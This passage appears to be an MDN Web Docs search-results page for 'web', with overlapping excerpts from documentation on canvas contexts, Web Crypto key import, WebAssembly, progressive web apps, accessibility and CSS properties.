WebGL2 contexts only. See bug 801176 for Canvas 2D API support from workers. Syntax offscreen.getContext(contextType, contextAttributes); Parameters contextType Is a DOMString containing the context identifier defining the drawing context associated to the canvas. Possible values are: "2d" creates a CanvasRenderingContext2D object representing a two-dimensional rendering context. "
webgl" creates a
WebGLRenderingContext object representing a three-dimensional rendering context. This context is only available on browsers that implement
WebGL version 1 (OpenGL ES 2.0). "w...
...dentifier defining the drawing context associated to the canvas. Possible values are: "2d" creates a CanvasRenderingContext2D object representing a two-dimensional rendering context. "
webgl" creates a
WebGLRenderingContext object representing a three-dimensional rendering context. This context is only available on browsers that implement
WebGL version 1 (OpenGL ES 2.0). "
webgl2" creates a
WebGL2RenderingContext object representing a three-dimensional rendering context. This context is only available on browsers that implement
WebGL version 2 (OpenGL ES 3.0). "bitmaprenderer" creates a ImageBitmapRenderingContext which only provides functionality to replace the content of the canvas with a given ImageBitmap. Note: The identifiers "experimental-
webgl" or "experimental-
web...
... three-dimensional rendering context. This context is only available on browsers that implement
WebGL version 2 (OpenGL ES 3.0). "bitmaprenderer" creates a ImageBitmapRenderingContext which only provides functionality to replace the content of the canvas with a given ImageBitmap. Note: The identifiers "experimental-
webgl" or "experimental-
webgl2" are also used in implementations of
WebGL. These implementations have not reached test suite conformance, or the graphic drivers situation on the platform is not yet stable. The Khronos Group certifies
WebGL implementations under certain conformance rules. contextAttributes You can use several context attributes when creating your rendering context, for example: offscreen.getContext("
webgl", { antialias: false,...
...And 8 more matches
PasswordCredential - Web APIs
Status Comment Credential Management Level 1 Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... AndroidOpera for AndroidSafari on iOSSamsung InternetPasswordCredential ExperimentalChrome Full support 51Edge Full support <=79Firefox ? IE ? Opera Full support YesSafari ?
WebView Android Full support 51Chrome Android Full support 51Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android Full support 5.0PasswordCredential() construc...
...Android Full support 5.0PasswordCredential() constructor Non-standardChrome Full support 51Edge Full support <=79Firefox ? IE ? Opera ? Safari ?
WebView Android Full support 51Chrome Android Full support 51Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android Full support 5.0additionalData ExperimentalDe...
...And 8 more matches
SubtleCrypto.importKey() - Web APIs
The importKey() method of the SubtleCrypto interface imports a key: that is, it takes as input a key in an external, portable format and gives you a CryptoKey object that you can use in the
Web Crypto API. The function accepts several import formats: see Supported formats for details. Syntax const result = crypto.subtle.importKey( format, keyData, algorithm, extractable, usages ); Parameters format is a string describing the data format of the key to import. It can be one of the following: raw: Raw format. pkcs8: PKCS #8 format. spki: SubjectPublicKeyInfo format. jwk: JSON
Web Key format. keyData is an ArrayBuffer, a TypedArray, a DataView, or a JSON
WebKey object containing the key in the given format. algorithm is a dictionary object d...
...mise is rejected when one of the following exceptions is encountered: SyntaxError Raised when keyUsages is empty but the unwrapped key is of type secret or private. TypeError Raised when trying to use an invalid format or if the keyData is not suited for that format. Supported formats This API supports four different key import/export formats: Raw, PKCS #8, SubjectPublicKeyInfo, and JSON
Web Key. Raw You can use this format to import or export AES or HMAC secret keys, or Elliptic Curve public keys. In this format the key is supplied as an ArrayBuffer containing the raw bytes for the key. PKCS #8 You can use this format to import or export RSA or Elliptic Curve private keys. The PKCS #8 format is defined in RFC 5208., using the ASN.1 notation: PrivateKeyInfo ::= SEQUENCE { ...
...743LgM/JLq CDPUBUA3HLsZUhKm3BbSkd7Q9Ngkjv3+yByo4/fL+fkYRa8j9Ypa2N0Iw53LFb3B gQIDAQAB -----END PUBLIC KEY----- Just as with PKCS #8, to get this into a format you can give to importKey() you need to do two things: base64-decode the part between header and footer, using window.atob(). convert the resulting string into an ArrayBuffer. See the Examples section for more concrete guidance. ...
...And 8 more matches
WebAssembly.Global - JavaScript
A
WebAssembly.Global object represents a global variable instance, accessible from both JavaScript and importable/exportable across one or more
WebAssembly.Module instances. This allows dynamic linking of multiple modules. Constructor
WebAssembly.Global() Creates a new Global object. Global instances All Global instances inherit from the Global() constructor's prototype object -- this can be modified to affect all Global instances. Instance properties Global.prototype.constructor Returns the function that created this object's instance. By default this is the
WebAssembly.Global() constructor. Global.prototype[@@toStringTag] The initial value of the @@toStringTag property is the String value "
WebAssembly.Global". Global.prototype.value The value contained inside the global va...
...Assembly.Global". Global.prototype.value The value contained inside the global variable -- this can be used to directly set and get the global's value. Instance methods Global.prototype.valueOf() Old-style method that returns the value contained inside the global variable. Examples Creating a new Global instance The following example shows a new global instance being created using the
WebAssembly.Global() constructor. It is being defined as a mutable i32 type, with a value of 0. The value of the global is then changed, first to 42 using the Global.value property, and then to 43 using the incGlobal() function exported out of the global.wasm module (this adds 1 to whatever value is given to it and then returns the new value). const output = document.getElementById('output'); func...
...(this adds 1 to whatever value is given to it and then returns the new value). ...
...And 8 more matches
Add to Home screen - Progressive web apps (PWAs)
Add to Home screen (or A2HS for short) is a feature available in modern browsers that allows a user to "install" a
web app, ie. add a shortcut to their Home screen representing their favorite
web app (or site) so they can subsequently access it with a single tap. This guide explains how A2HS is used, and what you need to do as a developer to allow your users to take advantage of it. Why A2HS? A2HS is thought to be part of the Progressive
Web App philosophy -- giving
web apps the same user experience advantages as native apps so they can compete in today's ecosystem wars. Part of this is the simple gesture of accessing an app by tapping its icon on your Home screen, and then having it appear neatly in its own window. A2HS makes this possible. What browsers support A2HS? A2HS is sup...
...essive
Web App philosophy -- giving
web apps the same user experience advantages as native apps so they can compete in today's ecosystem wars. Part of this is the simple gesture of accessing an app by tapping its icon on your Home screen, and then having it appear neatly in its own window. A2HS makes this possible. What browsers support A2HS? ...
...een, and then having it appear neatly in its own window. A2HS makes this possible. What browsers support A2HS? A2HS is supported in all mobile browsers, except iOS
webview. It's also supported in some Chromium desktop browsers. Firefox has had mobile support since v58 and is working on desktop support. See caniuse.com for exact details. How do you use it? We've written a very simple example
web site (see our demo live, and also see the source code) that doesn't do much, but was developed with the necessary code to allow it to be added to a Home screen, as well as a service worker to enable it to be used offline. The example displays a series of fox pictures. If you have Firefox for Android available, use it to navigate to our demo at https://mdn.github.io/pwa-examples/a2hs/. You'll see...
...And 8 more matches
WAI-ARIA basics - Learn web development
a basic understanding of HTML, CSS, and JavaScript, an understanding of the previous articles in the course. Objective: To gain familiarity with WAI-ARIA, and how it can be used to provide useful additional semantics to enhance accessibility where required. What is WAI-ARIA? Let's start by looking at what WAI-ARIA is, and what it can do for us. A whole new set of problems As
web apps started to get more complex and dynamic, a new set of accessibility features and problems started to appear. For example, HTML5 introduced a number of semantic elements to define common page features (<nav>, <footer>, etc.) Before these were available, developers would simply use <div>s with IDs or classes, e.g. <div class="nav">, but these were problematic, as there was no easy way to easi...
...g from the top of the page. As another example, apps started to feature complex controls like date pickers for choosing dates, sliders for choosing values, etc. HTML5 provides special input types to render such controls: <input type="date"> <input type="range"> These are not well-supported across browsers, and it is also difficult to style them, making them not very useful for integrating with
website designs. As a result, developers quite often rely on JavaScript libraries that generate such controls as a series of nested <div>s or table elements with classnames, which are then styled using CSS and controlled using JavaScript. The problem here is that visually they work, but screenreaders can't make any sense of what they are at all, and their users just get told that they can see a jumb...
...rate such controls as a series of nested <div>s or table elements with classnames, which are then styled using CSS and controlled using JavaScript. The problem here is that visually they work, but screenreaders can't make any sense of what they are at all, and their users just get told that they can see a jumble of elements with no semantics to describe what they mean. Enter WAI-ARIA WAI-ARIA (
Web Accessibility Initiative - Accessible Rich Internet Applications) is a specification written by the W3C, defining a set of additional HTML attributes that can be applied to elements to provide additional semantics and improve accessibility wherever it is lacking. There are three main features defined in the spec: Roles -- These define what an element is or does. Many of these are so-called lan...
...And 7 more matches
Use HTML to solve common problems - Learn web development
The following links point to solutions to common everyday problems you'll need to solve with HTML. Basic structure The most basic application of HTML is document structure. If you're new to HTML you should start with this. How to create a basic HTML document How to divide a
webpage into logical sections How to set up a proper structure of headings and paragraphs Basic text-level semantics HTML specializes in providing semantic information for a document, so HTML answers many questions you might have about how to get your message across best in your document. How to create a list of items with HTML How to stress or emphasize content How to indicate that text is important How to display computer code with HTML How to annotate images and graphics How to mark abbreviations an...
..., so HTML answers many questions you might have about how to get your message across best in your document. ...
...aphics How to mark abbreviations and make them understandable How to add quotations and citations to
web pages How to define terms with HTML Hyperlinks One of the main reasons for HTML is making navigation easy with hyperlinks, which can be used in many different ways: How to create a hyperlink How to create a table of contents with HTML Images & multimedia How to add images to a
webpage How to add video content to a
webpage Scripting & styling HTML only sets up document structure. To solve presentation issues, use CSS, or use scripting to make your page interactive. ...
...And 7 more matches
Deployment and next steps - Learn web development
also starts a development server and watches for changes, recompiling the app and refreshing the page when a change occurs. Your generated bundle.js and bundle.css files will be something like this (file size on the left): 504 Jul 13 02:43 bundle.css 95981 Jul 13 02:43 bundle.js To compile our application for production we have to run npm run build instead. In this case, Svelte won't lunch a
web server or keep watching for changes. It will however minify and compress our JavaScript files using terser. So, after running npm run build, our generated bundle.js and bundle.css files will be more like this: 504 Jul 13 02:43 bundle.css 21782 Jul 13 02:43 bundle.js Try running npm run build in your app's root directory now. You might get a warning, but you can ignore this for now. Our whol...
...ional runtimes or dependencies to download, parse, execute, and keep running in memory. Svelte analyzed our components and compiled the code to vanilla JavaScript. A look behind the Svelte compilation process By default, when you create a new app with npx degit sveltejs/template my-svelte-project, Svelte will use rollup as the module bundler. Note: There is also an official template for using
webpack and also many community-maintained plugins for other bundlers. In the file package.json you can see that the dev and start scripts are just calling rollup: "scripts": { "build": "rollup -c", "dev": "rollup -c -w", "start": "sirv public" }, In the dev script we are passing the -w argument, which tells rollup to watch files and rebuild on changes. If we have a look at the rollup.conf...
...inify production && terser() ], There are many plugins for rollup that allow you to customize its behavior. A particularly useful plugin which is also maintained by the Svelte team is svelte-preprocess, which pre-processes many different languages in Svelte files such as PostCSS, SCSS, Less, CoffeeScript, SASS, and TypeScript. Deploying your Svelte application From the point of view of a
web server, a Svelte application is nothing more than a bunch of HTML, CSS, and JavaScript files. All you need is a
web server capable of serving static files, which means you have plenty of options to choose from. Let's look at a couple of examples. Note: the following section could be applied to any client-side static
web site requiring a build step, not just Svelte apps. Deploying with Vercel ...
...And 7 more matches
Mozilla Web Developer FAQ
In the Quirks mode--for the purpose of backwards compatibility--Gecko mimics some behaviors of legacy browsers in ways that are spec violations. ...
...In the Quirks mode--for the purpose of backwards compatibility--Gecko mimics some behaviors of legacy browsers in ways that are spec violations. ...
...In the Quirks mode--for the purpose of backwards compatibility--Gecko mimics some behaviors of legacy browsers in ways that are spec violations. ...
...And 7 more matches
nsIWebBrowser
The interface may also be used at runtime to obtain the content DOM window and from that the rest of the DOM. Inherits from: nsISupports Last changed in Gecko 2.0 (Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1) Warning: This interface was frozen for a very long time, but was unfrozen for Gecko 2.0. ...
...tance with the embedders chrome and to register any listeners. The interface may also be used at runtime to obtain the content DOM window and from that the rest of the DOM. Inherits from: nsISupports Last changed in Gecko 2.0 (Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1) Warning: This interface was frozen for a very long time, but was unfrozen for Gecko 2.0. Method overview void add
WebBrowserListener(in nsIWeakReference aListener, in nsIIDRef aIID); void remove
WebBrowserListener(in nsIWeakReference aListener, in nsIIDRef aIID); Attributes Attribute Type Description containerWindow nsI
WebBrowserChrome The chrome object associated with the browser instance. The embedder must create one chrome object for each browser object that is...
...instance. The embedder must create one chrome object for each browser object that is instantiated. The embedder must associate the two by setting this property to point to the chrome object before creating the browser window via the browser's nsIBaseWindow interface. The chrome object must also implement nsIEmbeddingSiteWindow. The chrome may optionally implement nsIInterfaceRequestor, nsI
WebBrowserChromeFocus, nsIContextMenuListener and nsITooltipListener to receive additional notifications from the browser object. The chrome object may optionally implement nsI
WebProgressListener instead of explicitly calling add
WebBrowserListener() and remove
WebBrowserListener() to register a progress listener object. If the implementation does this, it must also implement nsIWeakReference. ...
...And 7 more matches
nsIWebProgress
The nsI
WebProgress interface is used to add or remove nsI
WebProgressListener instances to observe the loading of asynchronous requests (usually in the context of a DOM window). nsI
WebProgress instances may be arranged in a parent-child configuration, corresponding to the parent-child configuration of their respective DOM windows. However, in some cases a nsI
WebProgress instance may not have an associated DOM window. The parent-child relationship of nsI
WebProgress instances is not made explicit by this interface, but the relationship may exist in some implementations. ...
...I
WebProgress instances may be arranged in a parent-child configuration, corresponding to the parent-child configuration of their respective DOM windows. However, in some cases a nsI
WebProgress instance may not have an associated DOM window. The parent-child relationship of nsI
WebProgress instances is not made explicit by this interface, but the relationship may exist in some implementations. A nsI
WebProgressListener instance receives notifications for the nsI
WebProgress instance to which it added itself, and it may also receive notifications from any nsI
WebProgress instances that are children of that nsI
WebProgress instance. uriloader/base/nsI
WebProgress.idlScriptable Please add a summary to this article. Last changed in Gecko 1.8.0 Inherits from: nsISupports Method overview void...
...Read only. Exceptions thrown NS_ERROR_FAILURE Indicates that there is no associated DOM window. ...
...And 7 more matches
FileReaderSync - Web APIs
APIThe definition of 'FileReaderSync' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...cChrome Full support YesEdge Full support 12Firefox Full support 8IE Full support YesOpera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 8Opera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
...rChrome Full support YesEdge Full support 12Firefox Full support 8IE Full support YesOpera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 8Opera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
...And 7 more matches
GamepadEvent - Web APIs
("gamepaddisconnected", function(e) { console.log("Gamepad disconnected from index %d: %s", e.gamepad.index, e.gamepad.id); }); Specifications Specification Status Comment GamepadThe definition of 'GamepadEvent' in that specification. ...
...To cha...
... dom.gamepad.enabled preference (needs to be set to true). ...
...And 7 more matches
IDBVersionChangeEvent.newVersion - Web APIs
Syntax var newVersion = IDBVersionChangeEvent.newVersion Value A 64-bit integer. Example In the following code snippet, we make a request to open a database, and include handlers for the success and error cases. These events are fired via the custom IDBVersionChangeEvent interface. ...
...lers for the success and error cases. These events are fired via the custom IDBVersionChangeEvent interface. For a full working example, see our To-do Notifications app (view example live.) var note = document.querySelector("ul"); // In the following line, you should include the prefixes of // implementations you want to test. ...
..."ul"); // In the following line, you should include the prefixes of // implementations you want to test. window.indexedDB = window.indexedDB || window.mozIndexedDB || window.
webkitIndexedDB || window.msIndexedDB; // DON'T use "var indexedDB = ..." if you're not in a function. ...
...And 7 more matches
OES_texture_float - Web APIs
The pixels parameter now accepts an ArrayBufferView of type Float32Array. ...
... The pixels parameter now accepts an ArrayBufferView of type Float32Array. ...
... The pixels parameter now accepts an ArrayBufferView of type Float32Array. ...
...And 7 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
ewer. How the viewer perceives color after it gets to his eyes is yet another matter, and can be affected by overall health. Luckily, CSS Media Queries Level 5 will be a game-changer in accessibility initiatives, because it will allow users to select settings that accomodate their needs best. Color, contrast, and luminance are among the most central and critical concepts to creating accessible
web content with color. Luminance is of particular importance, however, because at the end of the day, understanding of what it is and how it is employed enables accessibility for those who are color-blind, as well as those who can perceive color. It is the luminance contrast that enable the color-blind to distinguish dark against light. Luminance must be established before the contrast may be. W...
...ay be described in hex values as #990000 by some and #DC143C by others. For the purposes of this document, we'll use terminlogy as it is defined in the W3C, in the CSS Color Module Level 3 When working with color, it's important to know which "color space" you are working in, as different color spaces map to different measurement systems. Currently, the RGB color space predominates as the space
web developers work in. HEX, RGB and HSL color spaces all are measured differently. Conversions between the color spaces are usually needed. Because of the current domination of the RGB color space in measuring color output, most calculations in this document are presumed to be in the RGB color space, and very specifically, in the sRGB color space. The sRGB color space The MDN document, <color>...
...tuitive. That said, HSL colors incorporate lightness, not luminance, and this is a significant consideration. Note that in that same section of the CSS Color Module 3, there are algorigthms available to translate the HSL to RGB. Newer technologies, such as OpenGL and Direct3D incorporate support for the sRGB gamma curve, although some articles for OpenGL reference use of RGBA rather than sRGB.
WebGL is usually in the RGBA format; see an example of how it is used in "Clearing with colors". Where accessibility is concerned, however, standards and guidelines are currently written predominantly using the sRGB color space, especially as it applies to color contrast ratios. In speaking specifically to relative luminance, WCAG's definition of relative luminance notes: "Note 2: Almost all sys...
...And 7 more matches
-webkit-mask-composite - CSS: Cascading Style Sheets
The -
webkit-mask-composite property specifies the manner in which multiple mask images applied to the same element are composited with one another. Mask images are composited in the opposite order that they are declared with the -
webkit-mask-image property. ...
... The -
webkit-mask-composite property specifies the manner in which multiple mask images applied to the same element are composited with one another. Mask images are composited in the opposite order that they are declared with the -
webkit-mask-image property. ...
... The -
webkit-mask-composite property specifies the manner in which multiple mask images applied to the same element are composited with one another. Mask images are composited in the opposite order that they are declared with the -
webkit-mask-image property. ...
...And 7 more matches
-webkit-text-stroke - CSS: Cascading Style Sheets
The -
webkit-text-stroke CSS property specifies the width and color of strokes for text characters. This is a shorthand property for the longhand properties -
webkit-text-stroke-width and -
webkit-text-stroke-color. /* Width and color values */ -
webkit-text-stroke: 4px navy; text-stroke: 4px navy; /* Global values */ -
webkit-text-stroke: inherit; -
webkit-text-stroke: initial; -
webkit-text-stroke: unset; text-stroke: inherit; text-stroke: initial; text-stroke: unset; Constituent properties This property is a shorthand for the following CSS properties: -
webkit-stroke-color -
webkit-stroke-width Syntax Values <length> The width of the stroke. <color> The color of the stroke. ...
...tial; -
webkit-text-stroke: unset; text-stroke: inherit; text-stroke: initial; text-stroke: unset; Constituent properties This property is a shorthand for the following CSS properties: -
webkit-stroke-color -
webkit-stroke-width Syntax Values <length> The width of the stroke. <color> The color of the stroke. ...
...nset; text-stroke: inherit; text-stroke: initial; text-stroke: unset; Constituent properties This property is a shorthand for the following CSS properties: -
webkit-stroke-color -
webkit-stroke-width Syntax Values <length> The width of the stroke. <color> The color of the stroke. ...
...And 7 more matches
WebAssembly.Global() constructor - JavaScript
This can be one of i32, i64, f32, and f64. mutable: A boolean value that determines whether the global is mutable or not. By default, this is false. value The value the variable contains. This can be any value, as long as its type matches the variable's data type. ...
...This can be one of i32, i64, f32, and f64. mutable: A boolean value that determines whether the global is mutable or not. By default, this is false. value The value the variable contains. This can be any value, as long as its type matches the variable's data type. ...
...er the global is mutable or not. By default, this is false. value The value the variable contains. This can be any value, as long as its type matches the variable's data type. If no value is specified, a typed 0 value is used, as specified by the DefaultValue algorithm. Examples Creating a new Global instance The following example shows a new global instance being created using the
WebAssembly.Global() constructor. It is being defined as a mutable i32 type, with a value of 0. The value of the global is then changed, first to 42 using the Global.value property, and then to 43 using the incGlobal() function exported out of the global.wasm module (this adds 1 to whatever value is given to it and then returns the new value). const output = document.getElementById('output'); func...
...And 7 more matches
WebAssembly.Instance - JavaScript
A
WebAssembly.Instance object is a stateful, executable instance of a
WebAssembly.Module. Instance objects contain all the Exported
WebAssembly functions that allow calling into
WebAssembly code from JavaScript. Constructor
WebAssembly.Instance() Creates a new Instance object. Instance properties Instance.prototype.exports Returns an object containing as its members all the functions exported from the
WebAssembly module instance, to allow them to be accessed and used by JavaScript. Read-only. ...
...ns that allow calling into
WebAssembly code from JavaScript. Constructor
WebAssembly.Instance() Creates a new Instance object. Instance properties Instance.prototype.exports Returns an object containing as its members all the functions exported from the
WebAssembly module instance, to allow them to be accessed and used by JavaScript. Read-only. ...
...to
WebAssembly code from JavaScript. Constructor
WebAssembly.Instance() Creates a new Instance object. Instance properties Instance.prototype.exports Returns an object containing as its members all the functions exported from the
WebAssembly module instance, to allow them to be accessed and used by JavaScript. Read-only. ...
...And 7 more matches
WebAssembly.Module.customSections() - JavaScript
Description A wasm module is comprised of a sequence of sections. ...
... Description A wasm module is comprised of a sequence of sections. ...
... Description A wasm module is comprised of a sequence of sections. ...
...And 7 more matches
WebAssembly.Module - JavaScript
A
WebAssembly.Module object contains stateless
WebAssembly code that has already been compiled by the browser -- this can be efficiently shared with Workers, and instantiated multiple times. Constructor
WebAssembly.Module() Creates a new Module object. Static properties
WebAssembly.Module.customSections() Given a Module and string, returns a copy of the contents of all custom sections in the module with the given string name.
WebAssembly.Module.exports() Given a Module, returns an array containing descriptions of all the declared exports.
WebAssembly.Module.imports() Given a Module, returns an array containing descriptions of all the declared imports. Examples Sending a compiled module to a worker The following example (see our index-compile.html demo on GitHub, and view ...
...s() Given a Module, returns an array containing descriptions of all the declared exports.
WebAssembly.Module.imports() Given a Module, returns an array containing descriptions of all the declared imports. Examples Sending a compiled module to a worker The following example (see our index-compile.html demo on GitHub, and view it live also) compiles the loaded simple.wasm byte code using the
WebAssembly.compileStreaming() method and then sends the resulting Module instance to a worker using postMessage(). ...
...ning descriptions of all the declared imports. Examples Sending a compiled module to a worker The following example (see our index-compile.html demo on GitHub, and view it live also) compiles the loaded simple.wasm byte code using the
WebAssembly.compileStreaming() method and then sends the resulting Module instance to a worker using postMessage(). var worker = new Worker("wasm_worker.js");
WebAssembly.compileStreaming(fetch('simple.wasm')) .then(mod => worker.postMessage(mod) ); In the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread. When the module is received, we create an instance from it using the
WebAssembly.instantiate() method and invoke an exported function from inside it. ...
...And 7 more matches
WebAssembly.RuntimeError - JavaScript
The
WebAssembly.RuntimeError object is the error type that is thrown whenever
WebAssembly specifies a trap. Constructor
WebAssembly.RuntimeError() Creates a new
WebAssembly.RuntimeError object. Instance properties
WebAssembly.RuntimeError.prototype.message Error message. Although ECMA-262 specifies that URIError should provide its own message property, in SpiderMonkey, it inherits Error.prototype.message.
WebAssembly.RuntimeError.prototype.name Error name. Inherited from Error.
WebAssembly.RuntimeError.prototype.fileName Path to file that raised this error. Inherited from Error.
WebAssembly.RuntimeError.prototype.lineNumber Line number in file that raised this error. Inherited from Error. ...
...URIError should provide its own message property, in SpiderMonkey, it inherits Error.prototype.message.
WebAssembly.RuntimeError.prototype.name Error name. Inherited from Error.
WebAssembly.RuntimeError.prototype.fileName Path to file that raised this error. Inherited from Error.
WebAssembly.RuntimeError.prototype.lineNumber Line number in file that raised this error. Inherited from Error.
WebAssembly.RuntimeError.prototype.columnNumber Column number in line that raised this error. Inherited from Error.
WebAssembly.RuntimeError.prototype.stack Stack trace. Inherited from Error. ...
...Inherited from Error. ...
...And 7 more matches
WebAssembly.instantiateStreaming() - JavaScript
The
WebAssembly.instantiateStreaming() function compiles and instantiates a
WebAssembly module directly from a streamed underlying source. This is the most efficient, optimized way to load wasm code. Syntax Promise<ResultObject>
WebAssembly.instantiateStreaming(source, importObject); Parameters source A Response object or a promise that will fulfill with one, representing the underlying source of a .wasm module you want to stream, compile, and instantiate. importObject Optional An object containing the values to be imported into the newly-created Instance, such as functions or
WebAssembly.Memory objects. There must be one matching property for each declared import of the compiled module or else a
WebAssembly.LinkError is thrown. Return value A Promise that resolves to a ResultObj...
...ile, and instantiate. importObject Optional An object containing the values to be imported into the newly-created Instance, such as functions or
WebAssembly.Memory objects. There must be one matching property for each declared import of the compiled module or else a
WebAssembly.LinkError is thrown. Return value A Promise that resolves to a ResultObject which contains two fields: module: A
WebAssembly.Module object representing the compiled
WebAssembly module. This Module can be instantiated again or shared via postMessage(). instance: A
WebAssembly.Instance object that contains all the Exported
WebAssembly functions. ...
... Examples Instantiating streaming The following example (see our instantiate-streaming.html demo on GitHub, and view it live also) directly streams a .wasm module from an underlying source then compiles and instantiates it, the promise fulfilling with a ResultObject. ...
...And 7 more matches
Web app manifests
The
web app manifest provides information about a
web application in a JSON text file, necessary for the
web app to be downloaded and be presented to the user similarly to a native app (e.g., be installed on the homescreen of a device, providing users with quicker access and a richer experience). PWA manifests include its name, author, icon(s), version, description, and list of all the necessary resources (among other things). ...
...PWA manifests include its name, author, icon(s), version, description, and list of all the necessary resources (among other things). ...
...native app (e.g., be installed on the homescreen of a device, providing users with quicker access and a richer experience). PWA manifests include its name, author, icon(s), version, description, and list of all the necessary resources (among other things). Can PWA manifest contain comments? It is a JSON-formatted file, with one exception: it is allowed to contain "//"-style comments. ...
...And 7 more matches
Web media technologies
These can be used invisibly as a destination for more complex media, or with visible controls for user-controlled playback of audio files. ...
...aces, and other features that make it possible to not only perform these tasks, but use media in tandem with other technologies to do truly remarkable things. This article lists the various APIs with links to documentation you may find helpful in mastering them. References HTML These articles cover HTML features for media developers. <audio> The <audio> element is used to play audio in a
Web context. These can be used invisibly as a destination for more complex media, or with visible controls for user-controlled playback of audio files. Accessible from JavaScript as HTMLAudioElement objects. <video> The <video> element is an endpoint for video content in a
Web context. It can be used to simply present video files, or as a destination for streamed video content. <video> can also be ...
...resent video files, or as a destination for streamed video content. <video> can also be used as a way to link media APIs with other HTML and DOM technologies, including <canvas> (for frame grabbing and manipulation), for example. Accessible from JavaScript as HTMLVideoElement objects. <track> The HTML <track> element can be placed within an <audio> or <video> element to provide a reference to a
WebVTT format subtitle or caption track to be used when playing the media. Accessible from JavaScript as HTMLTrackElement objects. <source> The HTML <source> element is used within an <audio> or <video> element to specify source media to present. Multiple sources can be used to provide the media in different formats, sizes, or resolutions. Accessible from JavaScript as HTMLSourceElement objects. ...
...And 7 more matches
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
But instead of relying only on user actions, we can do more, using push messages and notifications to automatically re-engage and deliver new content whenever it is available. Two APIs, one goal The Push API and Notifications API are two separate APIs, but they work well together when you want to provide engaging functionality in your app. ...
... A new random notification is created every 30 seconds until it becomes too annoying and is disabled by the user. (For a real app, the notifications should be much less frequent, and more useful.) The advantage of the Notifications API is that it uses the operating system's notification functionality. This means that notifications can be displayed to the user even when they are not looking at the
web app, and the notifications look similar to ones displayed by native apps. Push Push is more complicated than notifications -- we need to subscribe to a server that will then send the data back to the app. The app's Service Worker will receive data from the push server, which can then be shown using the notifications system, or another mechanism if desired. The technology is still at a very ear...
...vice subscription mechanism is created. registration.pushManager.getSubscription() .then( /* ... */ ); Once the user is subscribed, they can receive push notifications from the server. From the server-side, the whole process has to be encrypted with public and private keys for security reasons -- allowing everyone to send push messages unsecured using your app would be a terrible idea. See the
Web Push data encryption test page for detailed information about securing the server. The server stores all the information received when the user subscribed, so the messages can be sent later on when needed. To receive push messages, we can listen to the push event in the Service Worker file: self.addEventListener('push', function(e) { /* ... */ }); The data can be retrieved and then shown as a ...
...And 7 more matches
HTML: A good basis for accessibility - Learn web development
HTML and accessibility As you learn more about HTML -- read more resources, look at more examples, etc. ...
... all times. This article looks in detail at how HTML can be used to ensure maximum accessibility. Prerequisites: Basic computer literacy, a basic understanding of HTML (see Introduction to HTML), and an understanding of what accessibility is. Objective: To gain familiarity with the features of HTML that have accessibility benefits and how to use them appropriately in your
web documents. HTML and accessibility As you learn more about HTML -- read more resources, look at more examples, etc. -- you'll keep seeing a common theme: the importance of using semantic HTML (sometimes called POSH, or Plain Old Semantic HTML). This means using the correct HTML elements for their intended purpose as much as possible. You might wonder why this is so important. After all, y...
...our local computer so that you can do some testing of the examples shown below. See our Screen readers guide for more details. Good semantics We've already talked about the importance of proper semantics, and why we should use the right HTML element for the job. This cannot be ignored, as it is one of the main places that accessibility is badly broken if not handled properly. Out there on the
web, the truth is that people do some very strange things with HTML markup. Some abuses of HTML are due to legacy practices that have not been completely forgotten, and some are just plain ignorance. Whatever the case, you should replace such bad code. Sometimes you are not in the position to get rid of lousy markup -- your pages might be generated by some kind of server-side framework over which yo...
...And 6 more matches
HTML: A good basis for accessibility - Learn web development
HTML and accessibility As you learn more about HTML -- read more resources, look at more examples, etc. ...
... all times. This article looks in detail at how HTML can be used to ensure maximum accessibility. Prerequisites: Basic computer literacy, a basic understanding of HTML (see Introduction to HTML), and an understanding of what accessibility is. Objective: To gain familiarity with the features of HTML that have accessibility benefits and how to use them appropriately in your
web documents. HTML and accessibility As you learn more about HTML -- read more resources, look at more examples, etc. -- you'll keep seeing a common theme: the importance of using semantic HTML (sometimes called POSH, or Plain Old Semantic HTML). This means using the correct HTML elements for their intended purpose as much as possible. You might wonder why this is so important. After all, y...
...our local computer so that you can do some testing of the examples shown below. See our Screen readers guide for more details. Good semantics We've already talked about the importance of proper semantics, and why we should use the right HTML element for the job. This cannot be ignored, as it is one of the main places that accessibility is badly broken if not handled properly. Out there on the
web, the truth is that people do some very strange things with HTML markup. Some abuses of HTML are due to legacy practices that have not been completely forgotten, and some are just plain ignorance. Whatever the case, you should replace such bad code. Sometimes you are not in the position to get rid of lousy markup -- your pages might be generated by some kind of server-side framework over which yo...
...And 6 more matches
Practical positioning examples - Learn web development
HTML), and an idea of How CSS works (study Introduction to CSS.) Objective: To get an idea of the practicalities of positioning A tabbed info-box The first example we'll look at is a classic tabbed info box -- a very common feature used when you want to pack a lot of information into a small area. This includes information-heavy apps like strategy/war games, mobile versions of
websites where the screen is narrow and space is limited, and compact information boxes where you might want to make lots of information available without having it fill the whole UI. Our simple example will look like this once we are finished: Note: You can see the finished example running live at info-box.html (source code). Check it out to get an idea of what you will be building in this secti...
... might want to make lots of information available without having it fill the whole UI. Our simple example will look like this once we are finished: Note: You can see the finished example running live at info-box.html (source code). Check it out to get an idea of what you will be building in this section of the article. You might be thinking "why not just create the separate tabs as separate
webpages, and just have the tabs clicking through to the separate pages to create the effect?" This code would be simpler, yes, but then each separate "page" view would actually be a newly-loaded
webpage, which would make it harder to save information across views, and integrate this feature into a larger UI design. In addition, so-called "single page apps" are becoming very popular -- especially for...
...nd just have the tabs clicking through to the separate pages to create the effect?" This code would be simpler, yes, but then each separate "page" view would actually be a newly-loaded
webpage, which would make it harder to save information across views, and integrate this feature into a larger UI design. In addition, so-called "single page apps" are becoming very popular -- especially for mobile
